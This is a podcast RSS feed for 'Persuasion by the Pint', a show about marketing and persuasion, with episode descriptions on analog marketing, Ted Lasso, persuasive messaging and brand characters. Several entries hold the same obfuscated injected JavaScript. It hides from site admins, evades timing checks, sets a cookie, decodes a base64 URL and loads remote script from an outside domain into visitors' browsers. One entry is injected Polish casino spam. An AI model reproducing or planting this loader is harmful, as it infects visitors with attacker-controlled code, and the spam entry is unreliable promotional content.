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	<itunes:summary>Sean McCool &amp; Jonathan Taylor discuss how psychology is used everyday to influence human behavior. </itunes:summary>
	<itunes:author>Jonathan Taylor and Sean McCool</itunes:author>
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	<itunes:subtitle>Discussing Human Behavior and the Methods Used to Influence Us Everyday</itunes:subtitle>
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	<copyright>copyright 2018</copyright><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords><itunes:category text="Business"><itunes:category text="Management &amp; Marketing"/></itunes:category><itunes:owner><itunes:email>jrtaylor73@gmail.com</itunes:email><itunes:name>Jonathan Taylor and Sean McCool</itunes:name></itunes:owner><item>
		<title>https://pdcn.co/e/traffic.libsyn.com/secure/letstalkmarketing/episode159.mp3</title>
		<link>http://persuasionbythepint.com/https-pdcn-co-e-traffic-libsyn-com-secure-letstalkmarketing-episode159-mp3/</link>
					<comments>http://persuasionbythepint.com/https-pdcn-co-e-traffic-libsyn-com-secure-letstalkmarketing-episode159-mp3/#respond</comments>
		
		
		<pubDate>Sat, 06 Jun 2026 19:46:52 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
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					<description/>
										<content:encoded><![CDATA[<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p><p>The post <a href="http://persuasionbythepint.com/https-pdcn-co-e-traffic-libsyn-com-secure-letstalkmarketing-episode159-mp3/">https://pdcn.co/e/traffic.libsyn.com/secure/letstalkmarketing/episode159.mp3</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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			<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator></item>
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		<link>http://persuasionbythepint.com/2477-2/</link>
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		<pubDate>Sat, 06 Jun 2026 19:41:27 +0000</pubDate>
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<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/2477-2/"></a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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			<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator></item>
		<item>
		<title>435: The Persuasive Power of Analog Marketing</title>
		<link>http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/</link>
					<comments>http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/#respond</comments>
		
		
		<pubDate>Sat, 06 Jun 2026 17:30:19 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
		<category><![CDATA[Copywriting]]></category>
		<category><![CDATA[persuasion]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[Reciprocation]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Social Proof]]></category>
		<category><![CDATA[Storytelling]]></category>
		<category><![CDATA[copywriting]]></category>
		<category><![CDATA[craft beer]]></category>
		<category><![CDATA[Direct Mail]]></category>
		<category><![CDATA[persuasion and influence]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3040</guid>

					<description><![CDATA[<p>On this episode, we improvise on the fly after a guest had to cancel at the last minute. We&#8217;ll be discussing the power of analog marketing and how to wow your prospects and customers with a &#8220;big box&#8221;. We&#8217;ll share some examples of things that have worked not only for getting attention but also for [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/">435: The Persuasive Power of Analog Marketing</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, we improvise on the fly after a guest had to cancel at the last minute. We&#8217;ll be discussing the power of analog marketing and how to wow your prospects and customers with a &#8220;big box&#8221;.</p>



<p class="wp-block-paragraph">We&#8217;ll share some examples of things that have worked not only for getting attention but also for winning some big deals. <br></p>



<iframe title="Embed Player" src="https://play.libsyn.com/embed/episode/id/41558510/height/192/theme/modern/size/large/thumbnail/yes/custom-color/000000/time-start/00:00:00/playlist-height/200/direction/backward/download/yes/font-color/FFFFFF" height="192" width="100%" scrolling="no" allowfullscreen="" webkitallowfullscreen="true" mozallowfullscreen="true" oallowfullscreen="true" msallowfullscreen="true" style="border-width: medium; border-style: none; border-color: currentcolor; border-image: initial;"></iframe>



<iframe width="560" height="315" src="https://www.youtube.com/embed/pMYeHHhkXU8?si=4H-GzoSBDey0V9Z4" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><p>The post <a href="http://persuasionbythepint.com/435-the-persuasive-power-of-analog-marketing/">435: The Persuasive Power of Analog Marketing</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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				<itunes:subtitle>On this episode, we improvise on the fly after a guest had to cancel at the last minute. We’ll be discussing the power of analog marketing and how to wow your prospects and customers with a “big box”. We’ll share some examples of things that have worke...</itunes:subtitle>
		<itunes:summary>On this episode, we improvise on the fly after a guest had to cancel at the last minute. We’ll be discussing the power of analog marketing and how to wow your prospects and customers with a “big box”. We’ll share some examples of things that have worked not only for getting attention but also for […]</itunes:summary>
		<itunes:author>Persuasion by the Pint</itunes:author>
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	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>Yepcasino online PL Kompletny przewodnik po grze w kasynie online.3620</title>
		<link>http://persuasionbythepint.com/yepcasino-online-pl-kompletny-przewodnik-po-grze-w-459/</link>
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		<pubDate>Wed, 03 Jun 2026 19:44:28 +0000</pubDate>
				<category><![CDATA[News]]></category>
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					<description><![CDATA[<p>Yepcasino online PL &#8211; Kompletny przewodnik po grze w kasynie online ▶️ GRAĆ Содержимое Wprowadzenie do kasyna online Witaj w kasynie online &#8211; jak zacząć Rejestracja w Yep Casino online Jeśli szukasz najlepszego kasyna online, które oferuje szeroki wybór gier i atrakcyjne bonusy, to jesteś w odpowiednim miejscu. Yepcasino online to jeden z najpopularniejszych kasyn [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/yepcasino-online-pl-kompletny-przewodnik-po-grze-w-459/">Yepcasino online PL Kompletny przewodnik po grze w kasynie online.3620</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<h1>Yepcasino online PL &#8211; Kompletny przewodnik po grze w kasynie online</h1>
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<p class="toctitle" style="font-weight: 700; text-align: center">
<h2 style="vertical-align: inherit">Содержимое</h2>
</p>
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<h3><a href="#t1">Wprowadzenie do kasyna online</a></h3>
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<h3><a href="#t2">Witaj w kasynie online &#8211; jak zacząć</a></h3>
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<h3><a href="#t3">Rejestracja w Yep Casino online</a></h3>
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<h2 id="t1">Wprowadzenie do kasyna online</h2>
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<h2 id="t2">Witaj w kasynie online &#8211; jak zacząć</h2>
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<h3 id="t1">Rejestracja w Yep Casino online</h3>
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			<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator></item>
		<item>
		<title>434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion</title>
		<link>http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/</link>
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		<pubDate>Sat, 30 May 2026 18:24:04 +0000</pubDate>
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		<category><![CDATA[Lucy Broadbent]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[persuasion and influence]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3025</guid>

					<description><![CDATA[<p>On this episode, Lucy Broadbent joins us. She is the author of What Would Ted Lasso Do?: How Ted&#8217;s Positive Approach Can Help You. Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/">434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, Lucy Broadbent joins us. She is the author of <em><a href="https://amzn.to/4nZto95" target="_blank" rel="noopener" title="">What Would Ted Lasso Do?: How Ted&#8217;s Positive Approach Can Help You</a></em>.</p>



<figure class="wp-block-image size-full is-resized"><img fetchpriority="high" decoding="async" width="625" height="1000" src="https://persuasionbythepint.com/wp-content/uploads/2026/05/Ted-Lasso-Book.jpg" alt="" class="wp-image-3029" style="aspect-ratio:0.6250171131291927;width:247px;height:auto" srcset="http://persuasionbythepint.com/wp-content/uploads/2026/05/Ted-Lasso-Book.jpg 625w, http://persuasionbythepint.com/wp-content/uploads/2026/05/Ted-Lasso-Book-188x300.jpg 188w" sizes="(max-width: 625px) 100vw, 625px" /></figure>



<p class="wp-block-paragraph">Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and Glamour. You can learn more about her book at&nbsp;<a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbDVPa09ucEtQRTN5Ti1Uczk0VzE3WDRWZ0dzd3xBQ3Jtc0ttM2JWelpCbnhkdkRkU0dQckl2b21fV1RZZWRZaFNCTEtORjFmZjZPZkRFQldfa3ZFX19QU0gzdXkxdnRaR2tXMkJqb0pYNlVtZVRhWnV0ZGZXclVJQTU0cC1vMHRQNFgwamw3OXo2QTluM1I1QjRVaw&amp;q=https%3A%2F%2Fwww.lucybroadbent.net%2F&amp;v=d3URrK3Q2os" target="_blank" rel="noreferrer noopener">https://www.lucybroadbent.net</a>.</p>



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<iframe loading="lazy" title="Embed Player" src="https://play.libsyn.com/embed/episode/id/41476020/height/192/theme/modern/size/large/thumbnail/yes/custom-color/000000/time-start/00:00:00/playlist-height/200/direction/backward/download/yes/font-color/FFFFFF" height="192" width="100%" scrolling="no" allowfullscreen="" webkitallowfullscreen="true" mozallowfullscreen="true" oallowfullscreen="true" msallowfullscreen="true" style="border-width: medium; border-style: none; border-color: currentcolor; border-image: initial;"></iframe><p>The post <a href="http://persuasionbythepint.com/434-the-ted-lasso-playbook-unexpected-lessons-in-marketing-and-persuasion/">434: The Ted Lasso Playbook: Unexpected Lessons in Marketing and Persuasion</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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				<itunes:subtitle>On this episode, Lucy Broadbent joins us. She is the author of What Would Ted Lasso Do?: How Ted’s Positive Approach Can Help You. Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times,</itunes:subtitle>
		<itunes:summary>On this episode, Lucy Broadbent joins us. She is the author of What Would Ted Lasso Do?: How Ted’s Positive Approach Can Help You. Lucy is a journalist, author, and contributor to The Los Angeles Times, The London Times, The Sunday Times, The Telegraph, The Daily Mail, Marie Claire (US, UK, Australian editions), Cosmopolitan, and […]</itunes:summary>
		<itunes:author>Persuasion by the Pint</itunes:author>
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		<itunes:duration>1:00:26</itunes:duration>
	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>433: What Neuroscience Reveals About the Most Persuasive Messages</title>
		<link>http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/</link>
					<comments>http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/#respond</comments>
		
		
		<pubDate>Sat, 16 May 2026 18:07:33 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
		<category><![CDATA[Copywriting]]></category>
		<category><![CDATA[Cults]]></category>
		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
		<category><![CDATA[negotiation]]></category>
		<category><![CDATA[NLP]]></category>
		<category><![CDATA[persuasion]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[Reciprocation]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Social Proof]]></category>
		<category><![CDATA[Storytelling]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3021</guid>

					<description><![CDATA[<p>On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act. He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &#38; World Report, and National Public Radio. His framework is [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/">433: What Neuroscience Reveals About the Most Persuasive Messages</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act.</p>



<p class="wp-block-paragraph">He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &amp; World Report, and National Public Radio. His framework is called the A.W.E Method, and we&#8217;ll be breaking it down on the show.</p>



<p class="wp-block-paragraph">You can learn more about his work at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqa0EwTzVPLVdyRFNycS1CNkRqdVctd2xoZEdaQXxBQ3Jtc0tranNCa0stTHhvNWl1b3R3WjlsbzB5TXhfakRYLW5USVVmUHpLaFI3amRMcllZd1hCbzBhYWl5eFZ0U2ZfNURYRExFZGpwM1B6S0YxTDlZd1puRE1qNHVRcHVDblZyTGIwSFdwY2poM19zdksyV19lOA&amp;q=https%3A%2F%2Ffrankniles.com%2F&amp;v=mrxlhNveFzs" target="_blank" rel="noreferrer noopener">https://frankniles.com</a>.</p>



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<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/433-what-neuroscience-reveals-about-the-most-persuasive-messages/">433: What Neuroscience Reveals About the Most Persuasive Messages</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
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			<slash:comments>0</slash:comments>
		
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				<itunes:subtitle>On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act. He is frequently quoted or featured in the media, having appeared in Fast Company, CNN,</itunes:subtitle>
		<itunes:summary>On this episode, Frank Niles joins the show. He is a psychologist and executive coach, who helps his clients deliver compelling messages that cause people to act. He is frequently quoted or featured in the media, having appeared in Fast Company, CNN, Inc, US News &amp; World Report, and National Public Radio. His framework is […]</itunes:summary>
		<itunes:author>Persuasion by the Pint</itunes:author>
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	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino</title>
		<link>http://persuasionbythepint.com/432-he-turned-juan-valdez-into-one-of-the-most-iconic-brand-characters-interview-with-carlos-tribino/</link>
		
		
		<pubDate>Sat, 09 May 2026 14:03:54 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
		<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[Commitment and Consistency]]></category>
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		<category><![CDATA[negotiation]]></category>
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		<category><![CDATA[PR]]></category>
		<category><![CDATA[Reciprocation]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Social Proof]]></category>
		<category><![CDATA[Storytelling]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3017</guid>

					<description><![CDATA[<p>On this episode, we welcome Carlos Tribino to the show. Carlos is CEO of The Machine, a company that builds influential brands with emotional connections. Carlos&#8217;s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history. Some of the brands he helped are Ferrari, Giorgio Armani, [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/432-he-turned-juan-valdez-into-one-of-the-most-iconic-brand-characters-interview-with-carlos-tribino/">432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">On this episode, we welcome <a href="https://www.themachine.biz/our-team/" target="_blank" rel="noopener" title="">Carlos Tribino</a> to the show. Carlos is CEO of <a href="https://www.themachine.biz/" target="_blank" rel="noopener" title="">The Machine</a>, a company that builds influential brands with emotional connections. Carlos&#8217;s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history.</p>



<p class="wp-block-paragraph">Some of the brands he helped are Ferrari, Giorgio Armani, MTV, Guinness, WebMD, GiftCards.com, Walt Disney, and Chivas Regal, to name a few.</p>



<p class="wp-block-paragraph">You can learn more about their company at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbEhMYmlhb2tXUEllZHR3bUxxYW5QdEw2ejRtZ3xBQ3Jtc0trVXZRZzRpNC1uQXZXQ1EyRlM3S2paVkE2WWd3LVRacExrazg2UXUyTUJ5SmhnVnExOXkySVF2VzFxb29sY2hxXzBtME5kWkRSbnFaWFIzVHNTQTh0d3ZUNUI1aVE2bTNZeHlkckFHUnE0YTNzazNuaw&amp;q=https%3A%2F%2Fwww.themachine.biz%2F&amp;v=0iREIC1tccs" target="_blank" rel="noreferrer noopener">https://www.themachine.biz</a>.</p>



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<p class="wp-block-paragraph"></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><p>The post <a href="http://persuasionbythepint.com/432-he-turned-juan-valdez-into-one-of-the-most-iconic-brand-characters-interview-with-carlos-tribino/">432: He Turned Juan Valdez Into One of the Most Iconic Brand Characters: Interview with Carlos Tribino</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></content:encoded>
					
		
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				<itunes:subtitle>On this episode, we welcome Carlos Tribino to the show. Carlos is CEO of The Machine, a company that builds influential brands with emotional connections. Carlos’s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand cha...</itunes:subtitle>
		<itunes:summary>On this episode, we welcome Carlos Tribino to the show. Carlos is CEO of The Machine, a company that builds influential brands with emotional connections. Carlos’s claim to fame is turning Juan Valdez into one of Fast Company’s 10 most iconic brand characters in history. Some of the brands he helped are Ferrari, Giorgio Armani, […]</itunes:summary>
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		<title>431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist &amp; More</title>
		<link>http://persuasionbythepint.com/431-persuasion-flight-mcdonalds-disaster-redbull-guerilla-marketing-cold-caking-kitkat-heist-more/</link>
		
		
		<pubDate>Sat, 02 May 2026 17:12:28 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<category><![CDATA[Commitment and Consistency]]></category>
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		<category><![CDATA[Cults]]></category>
		<category><![CDATA[Headlines]]></category>
		<category><![CDATA[Hypnosis]]></category>
		<category><![CDATA[Liking]]></category>
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		<category><![CDATA[Storytelling]]></category>
		<guid isPermaLink="false">https://persuasionbythepint.com/?p=3014</guid>

					<description><![CDATA[<p>In this episode, we cover a flight of persuasion topics. These include: 1. McDonald&#8217;s Disaster (CEO Big Arch Burger Video) 2. French Fry Cookies (Repackaging) 3. Cold Caking 4. Lowering the Lights Makes You Spend More (Bars and Restaurants) 5. The KitKat Heist 6. Red Bull Guerilla Marketing&#160; 7. Pinterest&#8217;s &#8220;Best Thing Online Is a [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/431-persuasion-flight-mcdonalds-disaster-redbull-guerilla-marketing-cold-caking-kitkat-heist-more/">431: Persuasion Flight: McDonald’s Disaster, RedBull Guerilla Marketing, Cold Caking, KitKat Heist & More</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
										<content:encoded><![CDATA[<p class="wp-block-paragraph">In this episode, we cover a flight of persuasion topics. These include:</p>



<p class="wp-block-paragraph">1. McDonald&#8217;s Disaster (CEO Big Arch Burger Video)</p>



<p class="wp-block-paragraph">2. French Fry Cookies (Repackaging)</p>



<p class="wp-block-paragraph">3. Cold Caking</p>



<p class="wp-block-paragraph">4. Lowering the Lights Makes You Spend More (Bars and Restaurants)</p>



<p class="wp-block-paragraph">5. The KitKat Heist</p>



<p class="wp-block-paragraph">6. Red Bull Guerilla Marketing&nbsp;</p>



<p class="wp-block-paragraph">7. Pinterest&#8217;s &#8220;Best Thing Online Is a Reason to Get Offline&#8221;</p>



<p class="wp-block-paragraph">You can access the show notes with links at <a href="https://www.youtube.com/redirect?event=video_description&amp;redir_token=QUFFLUhqbC1IWThyci1oRkR3MzA2UzUyUDF1dTFXSzRLd3xBQ3Jtc0trRVQ5SmlqWkIySHNKVGZzNklOZnAtQUQ3RHRsTHFrY3I2S3A3MmNDM3ZpSk1RSVVMRTE5N1hqa0NhOWxweTMtLU5Dd3pwVzdNYVFTLVdhRVVWV3lDTmNNRGwzZTRRdmpYSUdTd2VRTHlvbDRrWEc5dw&amp;q=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fu%2F0%2Fd%2F1AU3kEOvYAA4qM77X_nF2dt9GHsG3LX87K-ZipYtNYDU%2Fmobilebasic%3Furp%3Dgmail_link&amp;v=OSfmVYNjZvU" target="_blank" rel="noreferrer noopener">https://docs.google.com/document/u/0/&#8230;</a></p>



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				<itunes:subtitle>In this episode, we cover a flight of persuasion topics. These include: 1. McDonald’s Disaster (CEO Big Arch Burger Video) 2. French Fry Cookies (Repackaging) 3. Cold Caking 4. Lowering the Lights Makes You Spend More (Bars and Restaurants) 5.</itunes:subtitle>
		<itunes:summary>In this episode, we cover a flight of persuasion topics. These include: 1. McDonald’s Disaster (CEO Big Arch Burger Video) 2. French Fry Cookies (Repackaging) 3. Cold Caking 4. Lowering the Lights Makes You Spend More (Bars and Restaurants) 5. The KitKat Heist 6. Red Bull Guerilla Marketing  7. Pinterest’s “Best Thing Online Is a […]</itunes:summary>
		<itunes:author>Persuasion by the Pint</itunes:author>
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	<dc:creator>jrtaylor73@gmail.com (Jonathan Taylor and Sean McCool)</dc:creator><itunes:keywords>Persuasion,Influence,Marketing,Neuro,marketing,Psychology</itunes:keywords></item>
		<item>
		<title>430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford</title>
		<link>http://persuasionbythepint.com/430-the-7-truths-every-writer-needs-to-hear-interview-with-writer-and-filmmakerclay-stafford/</link>
		
		
		<pubDate>Sat, 25 Apr 2026 19:01:03 +0000</pubDate>
				<category><![CDATA[A.I.]]></category>
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		<category><![CDATA[Liking]]></category>
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		<category><![CDATA[NLP]]></category>
		<category><![CDATA[persuasion]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[Reciprocation]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Social Proof]]></category>
		<category><![CDATA[Storytelling]]></category>
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					<description><![CDATA[<p>On this episode, Clay Stafford joins the show. Clay has had an eclectic career as an author, filmmaker, story and creative consultant, actor, composer, educator, public speaker, and business leader. He has sold nearly four million copies of his works in over sixteen languages. He is the founder and CEO of the annual Killer Nashville [&#8230;]</p>
<p>The post <a href="http://persuasionbythepint.com/430-the-7-truths-every-writer-needs-to-hear-interview-with-writer-and-filmmakerclay-stafford/">430: The 7 Truths Every Writer Needs to Hear – Interview with Writer and Filmmaker Clay Stafford</a> first appeared on <a href="http://persuasionbythepint.com">Persuasion by the Pint</a>.</p>]]></description>
